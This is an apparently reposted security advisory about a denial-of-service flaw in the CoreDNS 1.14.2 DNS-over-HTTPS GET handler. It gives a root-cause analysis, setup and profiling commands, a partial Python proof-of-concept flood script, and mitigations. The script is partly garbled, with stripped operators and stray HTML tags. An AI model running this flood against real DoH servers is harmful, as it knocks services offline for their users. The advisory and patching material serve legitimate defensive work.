CoreDNS, Denial-of-Service, N/A (Medium)

Listen to this Post

How the vulnerability works (CVE-less but follows )

The flaw exists in CoreDNS DoH GET handler at plugin/pkg/doh/doh.go.

`RequestToMsg()` calls `requestToMsgGet()` for GET requests.

`requestToMsgGet()` extracts `dns` query parameter via `req.URL.Query()`.

It passes the raw attacker-controlled string to `base64ToMsg()`.

`base64ToMsg()` decodes the entire base64 string with `DecodeString()`.

Only after full decode does it attempt `m.Unpack(buf)` for DNS validation.
No encoded-length or decoded-length bound is applied before decoding.
By contrast, the POST path uses http.MaxBytesReader(nil, r, 65536).
The HTTPS server (server_https.go) lacks an early GET size guard.

An attacker sends `GET /dns-query?dns=`.

Each request forces: HTTP parsing, URL unescaping, base64 decode, DNS unpack.
Even though the server finally returns 400 Bad Request, work is already done.
A 737,280 byte decoded payload produces 983,040 encoded chars.
5000 such requests caused 18.22s runtime with high CPU and allocations.
CPU profiles show heavy time in net/url.ParseQuery, base64.DecodeString, and GC.

Allocations reached 26,756 MB transient memory in testing.

Resident memory grew from ~56 MB to ~146 MB during attack.
Root cause: missing early size validation on DoH GET path before expensive parsing.

dailycve form

Platform: CoreDNS
Version: 1.14.2
Vulnerability: DoH GET oversize
Severity: Medium
Date: 2026-04-28

Prediction: 2026-05-12

What Undercode Say:

Generate self-signed certificate
openssl req -x509 -newkey rsa:2048 -sha256 -days 1 -nodes \
-keyout key.pem -out cert.pem \
-subj "/CN=127.0.0.1"
Corefile content
https://127.0.0.1:8443 {
whoami
log
errors
tls cert.pem key.pem
pprof 127.0.0.1:6060
}
Run CoreDNS
./coredns -conf Corefile
PoC script (poc_doh_get_oversize_https.py)
!/usr/bin/env python3
import argparse, base64, collections, concurrent.futures, http.client, ssl, time
def send_one(host, port, path, timeout):
ctx = ssl._create_unverified_context()
conn = http.client.HTTPSConnection(host, port, timeout=timeout, context=ctx)
try:
conn.request("GET", path, headers={"Accept": "application/dns-message", "Connection": "close"})
resp = conn.getresponse()
resp.read()
return resp.status
except Exception as e:
return f"ERR:{type(e).<strong>name</strong>}"
finally:
try: conn.close()
except: pass
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--host", default="127.0.0.1")
ap.add_argument("--port", type=int, default=8443)
ap.add_argument("--decoded-kib", type=int, default=720)
ap.add_argument("--workers", type=int, default=64)
ap.add_argument("--requests", type=int, default=5000)
ap.add_argument("--timeout", type=float, default=5.0)
args = ap.parse_args()
raw = b"A" (args.decoded_kib 1024)
b64 = base64.urlsafe_b64encode(raw).rstrip(b"=").decode()
path = "/dns-query?dns=" + b64
print(f"[+] target = https://{args.host}:{args.port}")
... (full script in )
if <strong>name</strong> == "<strong>main</strong>":
main()
Run PoC
python3 poc_doh_get_oversize_https.py --host 127.0.0.1 --port 8443 --decoded-kib 720 --workers 64 --requests 5000
CPU profiling
curl -s "http://127.0.0.1:6060/debug/pprof/profile?seconds=20" -o cpu_attack.pb.gz &
sleep 1
python3 poc_doh_get_oversize_https.py --host 127.0.0.1 --port 8443 --decoded-kib 720 --workers 64 --requests 5000
wait
go tool pprof -top ./coredns cpu_attack.pb.gz
Heap profile
curl -s http://127.0.0.1:6060/debug/pprof/heap -o heap_before.pb.gz
python3 poc_doh_get_oversize_https.py --host 127.0.0.1 --port 8443 --decoded-kib 720 --workers 64 --requests 5000
curl -s http://127.0.0.1:6060/debug/pprof/heap -o heap_after.pb.gz
go tool pprof -top -base heap_before.pb.gz ./coredns heap_after.pb.gz

Exploit:

Send thousands of HTTPS GET requests to `/dns-query?dns=` with base64 payload of ~1 MB decoded size (e.g., 720 KiB of ‘A’ characters). No authentication needed. The server parses, unescapes, base64-decodes, and attempts DNS unpack on each request, then rejects with 400. Repeated requests cause sustained CPU peaking, massive transient allocations, GC thrashing, and memory footprint increase.

Protection from this CVE:

  • Apply early bound on DoH GET request target or raw query length before req.URL.Query().
  • Reject `dns` parameter with encoded length > 4096 chars (approx max DNS message base64).
  • Enforce decoded size limit (e.g., 64 KiB) before calling DecodeString().
  • Backport bounded-read logic from POST path to GET path.
  • Use reverse proxy with request size limits in front of CoreDNS.
  • Monitor for excessive `400` responses with large request sizes.

Impact:

Remote unauthenticated DoS. High CPU consumption, large transient allocations (~26 GB per 5000 requests), increased GC pressure, peak resident memory rise from ~55 MB to ~146 MB. Degraded throughput and responsiveness, risk of service outage on memory-constrained or heavily loaded systems, especially internet-facing DoH deployments. Attackers can amplify resource usage before request rejection.

🎯Let’s Practice Exploiting & Learn Patching For Free:

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top